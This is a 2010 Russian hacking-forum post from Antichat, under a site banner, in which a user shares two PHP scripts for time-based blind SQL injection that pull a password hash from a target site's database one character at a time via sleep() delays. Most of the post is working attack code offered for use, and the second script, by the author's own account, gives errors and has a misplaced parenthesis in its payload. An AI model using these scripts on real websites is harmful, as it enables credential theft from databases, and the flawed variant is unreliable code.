Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

30.01.2010, 01:23
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме: 2223440
Репутация:
648
|
|
Тут возникли некоторые вопросы по поводу мотивировок использования этого метода. Метод с find_in_set без sleep() неприменим в абсолютно слепых скулях, там, где нет вообще никакого вывода контента, то есть при различных id контент будет одним и тем же. А метод с benchmark() сильно грузит сервер.
Сделал увеличение шага между позициями в дельту (в данном примере 2).
( pastebin)
PHP код:
<?php
$url = "http://site.ru/news.php?id=1";
$id = 0;
function testtime($url) {
$time = time()+microtime();
file_get_contents($url);
return time()+microtime()-$time;
}
echo "Test time: ".$testtime=testtime($url)."<br>";
$sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$res = "";
for($i=1;$i<33;$i++) {
$time = time()+microtime();
file_get_contents("$url+and+sleep(2*(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+".$id.",1),".$i.",1))))");
$res = $res.$sym[round((time()+microtime()-$time-$testtime)/2-1)];
}
echo "Hash: ".$res;
?>
Ещё вариант с заменой учёта погрешности сложением на умножение. В такой реализации почему-то появились ошибки...
( pastebin)
PHP код:
<?php
$url = "http://site.ru/news.php?id=1";
$id = 0;
function avrg($arr) {
foreach ($arr as $val) {
$sum+=$val;
}
return $sum/count($arr);
}
function delta($url) {
$tests = array();
for($i=0;$i<1;$i++) {
$time = time()+microtime();
file_get_contents("$url+and+sleep(1)");
$tests[$i] = time()+microtime()-$time;
}
return 1/avrg($tests);
}
echo "Test time: ".$delta=delta($url)."<br>";
$sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$res = "";
for($i=1;$i<33;$i++) {
$time = time()+microtime();
file_get_contents("$url+and+sleep(instr(2*(0x30313233343536373839616263646566,substring((select+password+from+test+limit+".$id.",1),".$i.",1))))");
$res = $res.$sym[round($delta*(time()+microtime()-$time)/2)];
}
echo "Hash: ".$res;
?>
Последний раз редактировалось Root-access; 30.01.2010 в 01:28..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|